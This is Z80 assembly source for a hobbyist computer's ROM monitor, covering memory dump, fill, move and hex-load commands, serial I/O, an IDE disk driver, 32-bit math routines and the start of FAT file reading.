push hl
push ix
ld hl, disk_trx_msg_0
call puts ; Print Read/Write prompt
disk_trx_rwlp call getc
call to_upper
cp 'R' ; Read?
jr nz, disk_trx_nr ; No
ld ix, ide_rs ; Yes, we will call ide_rs later
ld hl, disk_trx_msg_1r
jr disk_trx_main ; Prompt the user for parameters
disk_trx_nr cp 'W' ; Write?
jr nz, disk_trx_rwlp
ld ix, ide_ws ; Yes, we will call ide_ws later
ld hl, disk_trx_msg_1w
disk_trx_main call puts ; Print start address prompt
call get_word ; Get memory start address
push hl
ld hl, disk_trx_msg_2
call puts ; Prompt for number of blocks
call get_byte ; There are only 128 block of memory!
cp 0 ; Did the user ask for 00 blocks?
jr nz, disk_trx_1 ; No, continue prompting
ld hl, disk_trx_msg_4
call puts
jr disk_trx_exit
disk_trx_1 ld hl, disk_trx_msg_3
call puts ; Prompt for disk start sector
call get_word ; This is a four byte address!
ld bc, hl
call get_word
ld de, hl
pop hl ; Restore memory start address
; Register contents:
; A: Number of blocks
; BC: LBA3/2
; DE: LBA1/0
; HL: Memory start address
disk_trx_loop push af ; Save number of sectors
call disk_trampoline ; Read/write one sector (F is changed!)
push hl ; Save memory address
push bc ; Save LBA3/2
ld hl, de ; Increment DE (LBA1/0)
ld bc, $0001 ; by one and
add hl, bc ; generate a carry if necessary
ld de, hl ; Save new LBA1/0
pop hl ; Restore LBA3/2 into HL (!)
jr nc, disk_trx_skip
add hl, bc ; Increment BC if there was a carry
disk_trx_skip ld bc, hl ; Write new LBA3/2 into BC
pop hl ; Restore memory address
push bc ; Save LBA3/2
ld bc, $200 ; 512 byte per block
add hl, bc ; Set pointer to next memory block
pop bc ; Restore LBA3/2
pop af
dec a ; One block already done
jr nz, disk_trx_loop
disk_trx_exit pop ix
pop hl
pop de
pop bc
pop af
ret
disk_trampoline jp (ix)
disk_trx_msg_0 defb "TRANSFER/", eos
disk_trx_msg_1r defb "READ: ", cr, lf, " MEMORY START=", eos
disk_trx_msg_1w defb "WRITE: ", cr, lf, " MEMORY START=", eos
disk_trx_msg_2 defb " NUMBER OF BLOCKS (512 BYTE)=", eos
disk_trx_msg_3 defb " START SECTOR=", eos
disk_trx_msg_4 defb " Nothing to do for zero blocks.", cr, lf, eos
;
; Dump a memory area
;
dump push af
push bc
push de
push hl
ld hl, dump_msg_1
call puts ; Print prompt
call get_word ; Read start address
push hl ; Save start address
ld hl, dump_msg_2 ; Prompt for end address
call puts
call get_word ; Get end address
call crlf
inc hl ; Increment stop address for comparison
ld de, hl ; DE now contains the stop address
pop hl ; HL is the start address again
; This loop will dump 16 memory locations at once - even
; if this turns out to be more than requested.
dump_line ld b, $10 ; This loop will process 16 bytes
push hl ; Save HL again
call print_word ; Print address
ld hl, dump_msg_3 ; and a colon
call puts
pop hl ; Restore address
push hl ; We will need HL for the ASCII dump
dump_loop ld a, (hl) ; Get the memory content
call print_byte ; and print it
ld a, ' ' ; Print a space
call putc
inc hl ; Increment address counter
djnz dump_loop ; Continue with this line
; This loop will dump the very same 16 memory locations - but
; this time printable ASCII characters will be written.
ld b, $10 ; 16 characters at a time
ld a, ' ' ; We need some spaces
call putc ; to print
call putc
pop hl ; Restore the start address
dump_ascii_loop ld a, (hl) ; Get byte
call is_print ; Is it printable?
jr c, dump_al_1 ; Yes
ld a, '.' ; No - print a dot
dump_al_1 call putc ; Print the character
inc hl ; Increment address to read from
djnz dump_ascii_loop
; Now we are finished with printing one line of dump output.
call crlf ; CR/LF for next line on terminal
push hl ; Save the current address for later
and a ; Clear carry
sbc hl, de ; Have we reached the last address?
pop hl ; restore the address
jr c, dump_line ; Dump next line of 16 bytes
pop hl
pop de
pop bc
pop af
ret
dump_msg_1 defb "DUMP: START=", eos
dump_msg_2 defb " END=", eos
dump_msg_3 defb ": ", eos
;
; Examine a memory location:
;
examine push af
push hl
ld hl, examine_msg_1
call puts
call get_word ; Wait for a four-nibble address
push hl ; Save address for later
ld hl, examine_msg_2
call puts
examine_loop pop hl ; Restore address
ld a, (hl) ; Get content of address
inc hl ; Prepare for next examination
push hl ; Save hl again for later use
call print_byte ; Print the byte
call getc ; Get a character
cp ' ' ; A blank?
jr nz, examine_exit; No - exit
ld a, ' ' ; Print a blank character
call putc
jr examine_loop
examine_exit pop hl ; Get rid of save hl value
call crlf ; Print CR/LF
pop hl
pop af
ret
examine_msg_1 defb "EXAMINE (type ' '/RET): ADDR=", eos
examine_msg_2 defb " DATA=", eos
;
; Fill a block of memory with a single byte - the user is prompted for the
; start address, the length of the block and the fill value.
;
fill push af ; We will need nearly all registers
push bc
push de
push hl
ld hl, fill_msg_1 ; Prompt for start address
call puts
call get_word ; Get the start address
push hl ; Store the start address
and a ; Clear carry
ld bc, ram_start
sbc hl, bc ; Is the address in the RAM area?
jr nc, fill_get_length
ld hl, fill_msg_4 ; No!
call puts ; Print error message
pop hl ; Clean up the stack
jr fill_exit ; Leave routine
fill_get_length ld hl, fill_msg_2 ; Prompt for length information
call puts
call get_word ; Get the length of the block
; Now make sure that start + length is still in RAM:
ld bc, hl ; BC contains the length
pop hl ; HL now contains the start address
push hl ; Save the start address again
push bc ; Save the length
add hl, bc ; Start + length
and a ; Clear carry
ld bc, ram_start
sbc hl, bc ; Compare with ram_start
jr nc, fill_get_value
ld hl, fill_msg_5 ; Print error message
call puts
pop bc ; Clean up the stack
pop hl
jr fill_exit ; Leave the routine
fill_get_value ld hl, fill_msg_3 ; Prompt for fill value
call puts
call get_byte ; Get the fill value
pop bc ; Get the length from the stack
pop hl ; Get the start address again
ld de, hl ; DE = HL + 1
inc de
dec bc
; HL = start address
; DE = destination address = HL + 1
; Please note that this is necessary - LDIR does not
; work with DE == HL. :-)
; A = fill value
ld (hl), a ; Store A into first memory location
ldir ; Fill the memory
call crlf
fill_exit pop hl ; Restore the register contents
pop de
pop bc
pop af
ret
fill_msg_1 defb "FILL: START=", eos
fill_msg_2 defb " LENGTH=", eos
fill_msg_3 defb " VALUE=", eos
fill_msg_4 defb " Illegal address!", cr, lf, eos
fill_msg_5 defb " Block exceeds RAM area!", cr, lf, eos
;
; Help
;
help push hl
ld hl, help_msg
call puts
pop hl
ret
help_msg defb "HELP: Known command groups and commands:", cr, lf
defb " C(ontrol group):", cr, lf
defb " C(old start), I(nfo), S(tart), "
defb "W(arm start)", cr, lf
defb " D(isk group):", cr, lf
defb " I(nfo), M(ount), T(ransfer),"
defb " U(nmount)", cr, lf
defb " R(ead), W(rite)"
defb cr, lf
defb " F(ile group):", cr, lf
defb " C(at), D(irectory), L(oad)", cr, lf
defb " H(elp)", cr, lf
defb " M(emory group):", cr, lf
defb " D(ump), E(xamine), F(ill), "
defb "I(ntel Hex Load), L(oad), R(egister dump)"
defb cr, lf, eos
;
; Load an INTEL-Hex file (a ROM image) into memory. This routine has been
; more or less stolen from a boot program written by Andrew Lynch and adapted
; to this simple Z80 based machine.
;
; The INTEL-Hex format looks a bit awkward - a single line contains these
; parts:
; ':', Record length (2 hex characters), load address field (4 hex characters),
; record type field (2 characters), data field (2 * n hex characters),
; checksum field. Valid record types are 0 (data) and 1 (end of file).
;
; Please note that this routine will not echo what it read from stdin but
; what it "understood". :-)
;
ih_load push af
push de
push hl
ld hl, ih_load_msg_1
call puts
ih_load_loop call getc ; Get a single character
cp cr ; Don't care about CR
jr z, ih_load_loop
cp lf ; ...or LF
jr z, ih_load_loop
cp space ; ...or a space
jr z, ih_load_loop
call to_upper ; Convert to upper case
call putc ; Echo character
cp ':' ; Is it a colon?
jr nz, ih_load_error
call get_byte ; Get record length into A
ld d, a ; Length is now in D
ld e, $0 ; Clear checksum
call ih_load_chk ; Compute checksum
call get_word ; Get load address into HL
ld a, h ; Update checksum by this address
call ih_load_chk
ld a, l
call ih_load_chk
call get_byte ; Get the record type
call ih_load_chk ; Update checksum
cp $1 ; Have we reached the EOF marker?
jr nz, ih_load_data; No - get some data
call get_byte ; Yes - EOF, read checksum data
call ih_load_chk ; Update our own checksum
ld a, e
and a ; Is our checksum zero (as expected)?
jr z, ih_load_exit ; Yes - exit this routine
ih_load_chk_err ld hl, ih_load_msg_3
call puts ; No - print an error message
jr ih_load_exit ; and exit
ih_load_data ld a, d ; Record length is now in A
and a ; Did we process all bytes?
jr z, ih_load_eol ; Yes - process end of line
call get_byte ; Read two hex digits into A
call ih_load_chk ; Update checksum
ld (hl), a ; Store byte into memory
inc hl ; Increment pointer
dec d ; Decrement remaining record length
jr ih_load_data ; Get next byte
ih_load_eol call get_byte ; Read the last byte in the line
call ih_load_chk ; Update checksum
ld a, e
and a ; Is the checksum zero (as expected)?
jr nz, ih_load_chk_err
call crlf
jr ih_load_loop ; Yes - read next line
ih_load_error ld hl, ih_load_msg_2
call puts ; Print error message
ih_load_exit call crlf
pop hl ; Restore registers
pop de
pop af
ret
;
ih_load_chk ld c, a ; All in all compute E = E - A
ld a, e
sub c
ld e, a
ld a, c
ret
ih_load_msg_1 defb "INTEL HEX LOAD: ", eos
ih_load_msg_2 defb " Syntax error!", eos
ih_load_msg_3 defb " Checksum error!", eos
;
; Print version information etc.
;
info push hl
ld hl, info_msg
call puts
ld hl, hello_msg
call puts
pop hl
ret
info_msg defb "INFO: ", eos
;
; Load data into memory. The user is prompted for a 16 bit start address. Then
; a sequence of bytes in hexadecimal notation may be entered until a character
; that is not 0-9 or a-f is encountered.
;
load push af
push bc
push de
push hl
ld hl, load_msg_1 ; Print command name
call puts
call get_word ; Wait for the start address (2 bytes)
push hl ; Remember address
and a ; Clear carry
ld bc, ram_start ; Check if the address is valid
sbc hl, bc ; by subtracting the RAM start address
pop hl ; Restore address
ld de, 0 ; Counter for bytes loaded
jr nc, load_loop ; OK - start reading hex characters
ld hl, load_msg_3 ; Print error message
call puts
jr load_exit
; All in all we need two hex nibbles per byte. If two characters
; in a row are valid hexadecimal digits we will convert them
; to a byte and store this in memory. If one character is
; illegal, the load routine terminates and returns to the
; monitor.
load_loop ld a, ' '
call putc ; Write a space as byte delimiter
call getc ; Read first character
call to_upper ; Convert to upper case
call is_hex ; Is it a hex digit?
jr nc, load_exit ; No - exit the load routine
call nibble2val ; Convert character to value
call print_nibble ; Echo hex digit
rlc a
rlc a
rlc a
rlc a
ld b, a ; Save the upper four bits for later
call getc ; Read second character and proceed...
call to_upper ; Convert to upper case
call is_hex
jr nc, load_exit
call nibble2val
call print_nibble
or b ; Combine lower 4 bits with upper
ld (hl), a ; Save value to memory
inc hl
inc de
jr load_loop ; Get next byte (or at least try to)
load_exit call crlf ; Finished...
ld hl, de ; Print number of bytes loaded
call print_word
ld hl, load_msg_2
call puts
pop hl
pop de
pop bc
pop af
ret
load_msg_1 defb "LOAD (xx or else to end): ADDR=", eos
load_msg_2 defb " bytes loaded.", cr, lf, eos
load_msg_3 defb " Illegal address!", eos
;
; Load a file's contents into memory:
;
load_file push af
push bc
push de
push hl
push iy
ld hl, load_file_msg_1
call puts ; Print first prompt (start address)
call get_word ; Wait for the start address (2 bytes)
ld (load_file_scrat), hl
and a ; Clear carry
ld bc, ram_start ; Check if the address is valid
sbc hl, bc ; by subtracting the RAM start address
jr nc, load_file_1
ld hl, load_file_msg_2
call puts
jr load_file_exit ; Illegal address - exit routine
load_file_1 ld hl, load_file_msg_4
call puts ; Prompt for filename
ld hl, string_81_bfr
ld b, 81 ; Buffer length
call gets ; Read file name into bfr
ld iy, fcb ; Prepare open (only one FCB currently)
ld de, string_12_bfr
call fopen ; Open the file (if possible)
ld hl, (load_file_scrat)
ld de, 0 ; Counter for bytes loaded
load_file_loop call fgetc ; Get one byte from the file
jr c, load_file_exit
ld (hl), a ; Store byte and
inc hl ; increment pointer
inc de
jr load_file_loop ; Process next byte
load_file_exit call crlf
ld hl, de ; Print number of bytes loaded
call print_word
ld hl, load_file_msg_3
call puts
pop iy
pop hl
pop de
pop bc
pop af
ret
load_file_msg_1 defb "LOAD FILE: ADDR=", eos
load_file_msg_2 defb " Illegal address!", eos
load_file_msg_3 defb " bytes loaded.", cr, lf, eos
load_file_msg_4 defb " FILENAME=", eos
;
; mount - a wrapper for fatmount (necessary for printing the command's name)
;
mount push hl
ld hl, mount_msg
call puts
call fatmount
pop hl
ret
mount_msg defb "MOUNT", cr, lf, cr, lf, eos
;
; Move a memory block - the user is prompted for all necessary data:
;
move push af ; We won't even destroy the flags!
push bc
push de
push hl
ld hl, move_msg_1
call puts
call get_word ; Get address of block to be moved
push hl ; Push this address
ld hl, move_msg_2
call puts
call get_word ; Get destination start address
ld de, hl ; LDIR requires this in DE
; Is the destination address in RAM area?
and a ; Clear carry
ld bc, ram_start
sbc hl, bc ; Is the destination in RAM?
jr nc, move_get_length
ld hl, move_msg_4 ; No - print error message
call puts
pop hl ; Clean up stack
jr move_exit
move_get_length ld hl, move_msg_3
call puts
call get_word ; Get length of block
ld bc, hl ; LDIR requires the length in BC
pop hl ; Get address of block to be moved
; I was lazy - there is no test to make sure that the block
; to be moved will fit into the RAM area.
ldir ; Move block
move_exit call crlf ; Finished
pop hl ; Restore registers
pop de
pop bc
pop af
ret
move_msg_1 defb "MOVE: FROM=", eos
move_msg_2 defb " TO=", eos
move_msg_3 defb " LENGTH=", eos
move_msg_4 defb " Illegal destination address!", eos
;
; Dump the contents of both register banks:
;
rdump push af
push hl
ld hl, rdump_msg_1 ; Print first two lines
call puts
pop hl
call rdump_one_set
exx
ex af, af'
push hl
ld hl, rdump_msg_2
call puts
pop hl
call rdump_one_set
ex af, af'
exx
push hl
ld hl, rdump_msg_3
call puts
push ix
pop hl
call print_word
ld hl, rdump_msg_4
call puts
push iy
pop hl
call print_word
ld hl, rdump_msg_5
call puts
ld hl, 0
add hl, sp
call print_word
call crlf
pop hl
pop af
ret
rdump_msg_1 defb "REGISTER DUMP", cr, lf, cr, lf, tab, "1st:", eos
rdump_msg_2 defb tab, "2nd:", eos
rdump_msg_3 defb tab, "PTR: IX=", eos
rdump_msg_4 defb " IY=", eos
rdump_msg_5 defb " SP=", eos
;
rdump_one_set push hl ; Print one register set
ld hl, rdump_os_msg_1
call puts
push af ; Move AF into HL
pop hl
call print_word ; Print contents of AF
ld hl, rdump_os_msg_2
call puts
ld hl, bc
call print_word ; Print contents of BC
ld hl, rdump_os_msg_3
call puts
ld hl, de
call print_word ; Print contents of DE
ld hl, rdump_os_msg_4
call puts
pop hl ; Restore original HL
call print_word ; Print contents of HL
call crlf
ret
rdump_os_msg_1 defb " AF=", eos
rdump_os_msg_2 defb " BC=", eos
rdump_os_msg_3 defb " DE=", eos
rdump_os_msg_4 defb " HL=", eos
;
; Start a program - this will prompt for a four digital hexadecimal start
; address. A program should end with "jp $0" to enter the monitor again.
;
start ld hl, start_msg
call puts
call get_word ; Wait for a four-nibble address
call crlf
jp (hl) ; Start program (and hope for the best)
start_msg defb "START: ADDR=", eos
;
; unmount - simple wrapper for fatunmount (necessary for printing the command
; name)
;
unmount push hl
ld hl, unmount_msg
call puts
call fatunmount
pop hl
ret
unmount_msg defb "UNMOUNT", cr, lf, eos
;
;******************************************************************************
;***
;*** String routines
;***
;******************************************************************************
;
; is_hex checks a character stored in A for being a valid hexadecimal digit.
; A valid hexadecimal digit is denoted by a set C flag.
;
is_hex cp 'F' + 1 ; Greater than 'F'?
ret nc ; Yes
cp '0' ; Less than '0'?
jr nc, is_hex_1 ; No, continue
ccf ; Complement carry (i.e. clear it)
ret
is_hex_1 cp '9' + 1 ; Less or equal '9*?
ret c ; Yes
cp 'A' ; Less than 'A'?
jr nc, is_hex_2 ; No, continue
ccf ; Yes - clear carry and return
ret
is_hex_2 scf ; Set carry
ret
;
; is_print checks if a character is a printable ASCII character. A valid
; character is denoted by a set C flag.
;
is_print cp space
jr nc, is_print_1
ccf
ret
is_print_1 cp $7f
ret
;
; nibble2val expects a hexadecimal digit (upper case!) in A and returns the
; corresponding value in A.
;
nibble2val cp '9' + 1 ; Is it a digit (less or equal '9')?
jr c, nibble2val_1 ; Yes
sub 7 ; Adjust for A-F
nibble2val_1 sub '0' ; Fold back to 0..15
and $f ; Only return lower 4 bits
ret
;
; Convert a single character contained in A to upper case:
;
to_upper cp 'a' ; Nothing to do if not lower case
ret c
cp 'z' + 1 ; > 'z'?
ret nc ; Nothing to do, either
and $5f ; Convert to upper case
ret
;
; Compare two null terminated strings, return >0 / 0 / <0 in A, works like
; strcmp. The routine expects two pointer in HL and DE which will be
; preserved.
;
strcmp push de
push hl
strcmp_loop ld a, (de)
cp 0 ; End of first string reached?
jr z, strcmp_exit
cp (hl) ; Compare two characters
jr nz, strcmp_exit ; Different -> exit
inc hl
inc de
jr strcmp_loop
strcmp_exit sub (hl)
pop hl
pop de
ret
;
;******************************************************************************
;***
;*** IO routines
;***
;******************************************************************************
;
; Send a CR/LF pair:
;
crlf push af
ld a, cr
call putc
ld a, lf
call putc
pop af
ret
;
; Read a single character from the serial line, result is in A:
;
getc call rx_ready
in a, (uart_register_0)
ret
;
; Get a byte in hexadecimal notation. The result is returned in A. Since
; the routine get_nibble is used only valid characters are accepted - the
; input routine only accepts characters 0-9a-f.
;
get_byte push bc ; Save contents of B (and C)
call get_nibble ; Get upper nibble
rlc a
rlc a
rlc a
rlc a
ld b, a ; Save upper four bits
call get_nibble ; Get lower nibble
or b ; Combine both nibbles
pop bc ; Restore B (and C)
ret
;
; Get a hexadecimal digit from the serial line. This routine blocks until
; a valid character (0-9a-f) has been entered. A valid digit will be echoed
; to the serial line interface. The lower 4 bits of A contain the value of
; that particular digit.
;
get_nibble call getc ; Read a character
call to_upper ; Convert to upper case
call is_hex ; Was it a hex digit?
jr nc, get_nibble ; No, get another character
call nibble2val ; Convert nibble to value
call print_nibble
ret
;
; Get a word (16 bit) in hexadecimal notation. The result is returned in HL.
; Since the routines get_byte and therefore get_nibble are called, only valid
; characters (0-9a-f) are accepted.
;
get_word push af
call get_byte ; Get the upper byte
ld h, a
call get_byte ; Get the lower byte
ld l, a
pop af
ret
;
; Read a string from STDIN - HL contains the buffer start address,
; B contains the buffer length.
;
gets push af
push bc
push hl
gets_loop call getc ; Get a single character
cp cr ; Skip CR characters
jr z, gets_loop ; only LF will terminate input
call to_upper
call putc ; Echo character
cp lf ; Terminate string at
jr z, gets_exit ; LF or
ld (hl), a ; Copy character to buffer
inc hl
djnz gets_loop
gets_exit ld (hl), 0 ; Insert termination byte
pop hl
pop bc
pop af
ret
;
; print_byte prints a single byte in hexadecimal notation to the serial line.
; The byte to be printed is expected to be in A.
;
print_byte push af ; Save the contents of the registers
push bc
ld b, a
rrca
rrca
rrca
rrca
call print_nibble ; Print high nibble
ld a, b
call print_nibble ; Print low nibble
pop bc ; Restore original register contents
pop af
ret
;
; print_nibble prints a single hex nibble which is contained in the lower
; four bits of A:
;
print_nibble push af ; We won't destroy the contents of A
and $f ; Just in case...
add '0' ; If we have a digit we are done here.
cp '9' + 1 ; Is the result > 9?
jr c, print_nibble_1
add 'A' - '0' - $a ; Take care of A-F
print_nibble_1 call putc ; Print the nibble and
pop af ; restore the original value of A
ret
;
; print_word prints the four hex digits of a word to the serial line. The
; word is expected to be in HL.
;
print_word push hl
push af
ld a, h
call print_byte
ld a, l
call print_byte
pop af
pop hl
ret
;
; Send a single character to the serial line (a contains the character):
;
putc call tx_ready
out (uart_register_0), a
ret
;
; Send a string to the serial line, HL contains the pointer to the string:
;
puts push af
push hl
puts_loop ld a, (hl)
cp eos ; End of string reached?
jr z, puts_end ; Yes
call putc
inc hl ; Increment character pointer
jr puts_loop ; Transmit next character
puts_end pop hl
pop af
ret
;
; Wait for an incoming character on the serial line:
;
rx_ready push af
rx_ready_loop in a, (uart_register_5)
bit 0, a
jr z, rx_ready_loop
pop af
ret
;
; Wait for UART to become ready to transmit a byte:
;
tx_ready push af
tx_ready_loop in a, (uart_register_5)
bit 5, a
jr z, tx_ready_loop
pop af
ret
;
;******************************************************************************
;***
;*** IDE routines
;***
;******************************************************************************
;
ide_data_low equ ide_base + $0
ide_data_high equ ide_base + $8
ide_error_code equ ide_base + $1
;
; Bit mapping of ide_error_code register:
;
; 0: 1 = DAM not found
; 1: 1 = Track 0 not found
; 2: 1 = Command aborted
; 3: Reserved
; 4: 1 = ID not found
; 5: Reserved
; 6: 1 = Uncorrectable ECC error
; 7: 1 = Bad block detected
;
ide_secnum equ ide_base + $2
;
; Typically set to 1 sector to be transf.
;
ide_lba0 equ ide_base + $3
ide_lba1 equ ide_base + $4
ide_lba2 equ ide_base + $5
ide_lba3 equ ide_base + $6
;
; Bit mapping of ide_lba3 register:
;
; 0 - 3: LBA bits 24 - 27
; 4 : Master (0) or slave (1) selection
; 5 : Always 1
; 6 : Set to 1 for LBA access
; 7 : Always 1
;
ide_status_cmd equ ide_base + $7
;
; Useful commands (when written):
;
; $20: Read sectors with retry
; $30: Write sectors with retry
; $EC: Identify drive
;
; Status bits (when read):
;
; 0 = ERR: 1 = Previous command resulted in an error
; 1 = IDX: Unused
; 2 = CORR: Unused
; 3 = DRQ: 1 = Data Request Ready (sector buffer ready)
; 4 = DSC: Unused
; 5 = DF: 1 = Write fault
; 6 = RDY: 1 = Ready to accept command
; 7 = BUSY: 1 = Controller is busy executing a command
;
ide_retries equ $ff ; Number of retries for polls
;
;
; Get ID information from drive. HL is expected to point to a 512 byte byte
; sector buffer. If carry is set, the function did not complete correctly and
; was aborted.
;
ide_get_id push af
push bc
push hl
call ide_ready ; Is the drive ready?
jr c, ide_get_id_err ; No - timeout!
ld a, $a0 ; Master, no LBA addressing
out (ide_status_cmd), a
call ide_ready ; Did the command complete?
jr c, ide_get_id_err ; Timeout!
ld a, $ec ; Command to read ID
out (ide_status_cmd), a ; Write command to drive
call ide_ready ; Can we proceed?
jr c, ide_get_id_err ; No - timeout, propagate carry
call ide_error_check ; Any errors?
jr c, ide_get_id_err ; Yes - something went wrong
call ide_bfr_ready ; Is the buffer ready to read?
jr c, ide_get_id_err ; No
ld hl, buffer ; Load the buffer's address
ld b, $0 ; We will read 256 words
ide_get_id_lp in a, (ide_data_low) ; Read high (!) byte
ld c, a
in a, (ide_data_high) ; Read low (!) byte
ld (hl), a
inc hl
ld (hl), c
inc hl
djnz ide_get_id_lp ; Read next word
jr ide_get_id_exit ; Everything OK, just exit
ide_get_id_err ld hl, ide_get_id_msg ; Print error message
call puts
ide_get_id_exit pop hl
pop bc
pop af
ret
ide_get_id_msg defb "FATAL(IDE): Aborted!", cr, lf
;
; Test if the buffer of the IDE disk drive is ready for transfer. If not,
; carry will be set, otherwise carry is reset. The contents of register A will
; be destroyed!
;
ide_bfr_ready push bc
and a ; Clear carry assuming no error
ld b, ide_retries ; How many retries?
ide_bfr_loop in a, (ide_status_cmd) ; Read IDE status register
bit 3, a ; Check DRQ bit
jr nz, ide_bfr_exit ; Buffer is ready
push bc
ld b, $0 ; Wait a moment
ide_bfr_wait nop
djnz ide_bfr_wait
pop bc
djnz ide_bfr_loop ; Retry
scf ; Set carry to indicate timeout
ld hl, ide_bfr_rdy_err
call puts
ide_bfr_exit pop bc
ret
ide_bfr_rdy_err defb "FATAL(IDE): ide_bfr_ready timeout!", cr, lf, eos
;
; Test if there is any error flagged by the drive. If carry is cleared, no
; error occured, otherwise carry will be set. The contents of register A will
; be destroyed.
;
ide_error_check and a ; Clear carry (no err expected)
in a, (ide_status_cmd) ; Read status register
bit 0, a ; Test error bit
jr z, ide_ec_exit ; Everything is OK
scf ; Set carry due to error
ide_ec_exit ret
;
; Read a sector from the drive. If carry is set after return, the function did
; not complete correctly due to a timeout. HL is expected to contain the start
; address of the sector buffer while BC and DE contain the sector address
; (LBA3, 2, 1 and 0). Register A's contents will be destroyed!
;
ide_rs push bc
push hl
call ide_ready ; Is the drive ready?
jr c, ide_rs_err ; No - timeout!
call ide_set_lba ; Setup the drive's registers
call ide_ready ; Everything OK?
jr c, ide_rs_err ; No - timeout!
ld a, $20
out (ide_status_cmd), a ; Issue read command
call ide_ready ; Can we proceed?
jr c, ide_rs_err ; No - timeout, set carry
call ide_error_check ; Any errors?
jr c, ide_rs_err ; Yes - something went wrong
call ide_bfr_ready ; Is the buffer ready to read?
jr c, ide_rs_err ; No
ld b, $0 ; We will read 256 words
ide_rs_loop in a, (ide_data_low) ; Read low byte
ld (hl), a ; Store this byte
inc hl
in a, (ide_data_high) ; Read high byte
ld (hl), a
inc hl
djnz ide_rs_loop ; Read next word until done
jr ide_rs_exit
ide_rs_err ld hl, ide_rs_err_msg ; Print error message
call puts
ide_rs_exit pop hl
pop bc
ret
ide_rs_err_msg defb "FATAL(IDE): ide_rs timeout!", cr, lf, eos
;
; Write a sector from the drive. If carry is set after return, the function did
; not complete correctly due to a timeout. HL is expected to contain the start
; address of the sector buffer while BC and DE contain the sector address
; (LBA3, 2, 1 and 0). Register A's contents will be destroyed!
;
ide_ws push bc
push hl
call ide_ready ; Is the drive ready?
jr c, ide_ws_err ; No - timeout!
call ide_set_lba ; Setup the drive's registers
call ide_ready ; Everything OK?
jr c, ide_ws_err ; No - timeout!
ld a, $30
out (ide_status_cmd), a ; Issue read command
call ide_ready ; Can we proceed?
jr c, ide_ws_err ; No - timeout, set carry
call ide_error_check ; Any errors?
jr c, ide_ws_err ; Yes - something went wrong
call ide_bfr_ready ; Is the buffer ready to read?
jr c, ide_ws_err ; No
ld b, $0 ; We will write 256 word
ide_ws_loop ld a, (hl) ; Get first byte from memory
ld c, a
inc hl
ld a, (hl) ; Get next byte
out (ide_data_high), a ; Write high byte to controller
ld a, c ; Recall low byte again
out (ide_data_low), a ; Write low byte -> strobe
djnz ide_ws_loop
jr ide_ws_exit
ide_ws_err ld hl, ide_ws_err_msg ; Print error message
call puts
ide_ws_exit pop hl
pop bc
ret
ide_ws_err_msg defb "FATAL(IDE): ide_ws timeout!", cr, lf, eos
;
; Set sector count and LBA registers of the drive. Registers BC and DE contain
; the sector address (LBA 3, 2, 1 and 0).
;
ide_set_lba push af
ld a, $1 ; We will transfer
out (ide_secnum), a ; one sector at a time
ld a, e
out (ide_lba0), a ; Set LBA0, 1 and 2 directly
ld a, d
out (ide_lba1), a
ld a, c
out (ide_lba2), a
ld a, b ; Special treatment for LBA3
and $0f ; Only bits 0 - 3 are LBA3
or $e0 ; Select LBA and master drive
out (ide_lba3), a
pop af
ret
;
; Test if the IDE drive is not busy and ready to accept a command. If it is
; ready the carry flag will be reset and the function returns. If a time out
; occurs, C will be set prior to returning to the caller. Register A will
; be destroyed!
;
ide_ready push bc
and a ; Clear carry assuming no error
ld b, ide_retries ; Number of retries to timeout
ide_ready_loop in a, (ide_status_cmd) ; Read drive status
and a, $c0 ; Only bits 7 and 6 are needed
xor $40 ; Invert the ready flag
jr z, ide_ready_exit ; Exit if ready and not busy
push bc
ld b, $0 ; Wait a moment
ide_ready_wait nop
djnz ide_ready_wait
pop bc
djnz ide_ready_loop ; Retry
scf ; Set carry due to timeout
ld hl, ide_rdy_error
call puts
in a, (ide_error_code)
call print_byte
ide_ready_exit pop bc
ret
ide_rdy_error defb "FATAL(IDE): ide_ready timeout!", cr, lf, eos
;
;******************************************************************************
;***
;*** Miscellaneous functions
;***
;******************************************************************************
;
; Clear the computer (not to be called - jump into this routine):
;
cold_start ld hl, start_type
ld (hl), $00
warm_start ld hl, clear_msg
call puts
ld a, $00
ld (ram_end), a
rst $00
clear_msg defb "CLEAR", cr, lf, eos
;
;******************************************************************************
;***
;*** Mathematical routines
;***
;******************************************************************************
;
; 32 bit add routine from
; http://www.andreadrian.de/oldcpu/Z80_number_cruncher.html
;
; ADD ROUTINE 32+32BIT=32BIT
; H'L'HL = H'L'HL + D'E'DE
; CHANGES FLAGS
;
ADD32: ADD HL,DE ; 16-BIT ADD OF HL AND DE
EXX
ADC HL,DE ; 16-BIT ADD OF HL AND DE WITH CARRY
EXX
RET
;
; 32 bit multiplication routine from
; http://www.andreadrian.de/oldcpu/Z80_number_cruncher.html
;
; MULTIPLY ROUTINE 32*32BIT=32BIT
; H'L'HL = B'C'BC * D'E'DE; NEEDS REGISTER A, CHANGES FLAGS
;
MUL32: AND A ; RESET CARRY FLAG
SBC HL,HL ; LOWER RESULT = 0
EXX
SBC HL,HL ; HIGHER RESULT = 0
LD A,B ; MPR IS AC'BC
LD B,32 ; INITIALIZE LOOP COUNTER
MUL32LOOP:
SRA A ; RIGHT SHIFT MPR
RR C
EXX
RR B
RR C ; LOWEST BIT INTO CARRY
JR NC,MUL32NOADD
ADD HL,DE ; RESULT += MPD
EXX
ADC HL,DE
EXX
MUL32NOADD:
SLA E ; LEFT SHIFT MPD
RL D
EXX
RL E
RL D
DJNZ MUL32LOOP
EXX
RET
;
;******************************************************************************
;***
;*** FAT file system routines
;***
;******************************************************************************
;
; Read a single byte from a file. IY points to the FCB. The byte read is
; returned in A, on EOF the carry flag will be set.
;
fgetc push bc
push de
push hl
; Check if fcb_file_pointer == fcb_file_size. In this case we have reached
; EOF and will return with a set carry bit. (As a side effect, the attempt to
; read from a file which has not been successfully opened before will be
; handled like encountering an EOF at the first fgetc call.)
ld a, (iy + fcb_file_size)
cp (iy + fcb_file_pointer)
jr nz, fgetc_start
ld a, (iy + fcb_file_size + 1)
cp (iy + fcb_file_pointer + 1)
jr nz, fgetc_start
ld a, (iy + fcb_file_size + 2)
cp (iy + fcb_file_pointer + 2)
jr nz, fgetc_start
ld a, (iy + fcb_file_size + 3)
cp (iy + fcb_file_pointer + 3)
jr nz, fgetc_start
; We have reached EOF, so set carry and leave this routine:
scf
jp fgetc_exit
; Check if the lower 9 bits of the file pointer are zero. In this case
; we need to read another sector (maybe from another cluster):
fgetc_start ld a, (iy + fcb_file_pointer)
cp 0
jp nz, fgetc_getc ; Bits 0-7 are not zero
ld a, (iy + fcb_file_pointer + 1)
and 1
jp nz, fgetc_getc ; Bit 8 is not zero
; The file_pointer modulo 512 is zero, so we have to load the next sector:
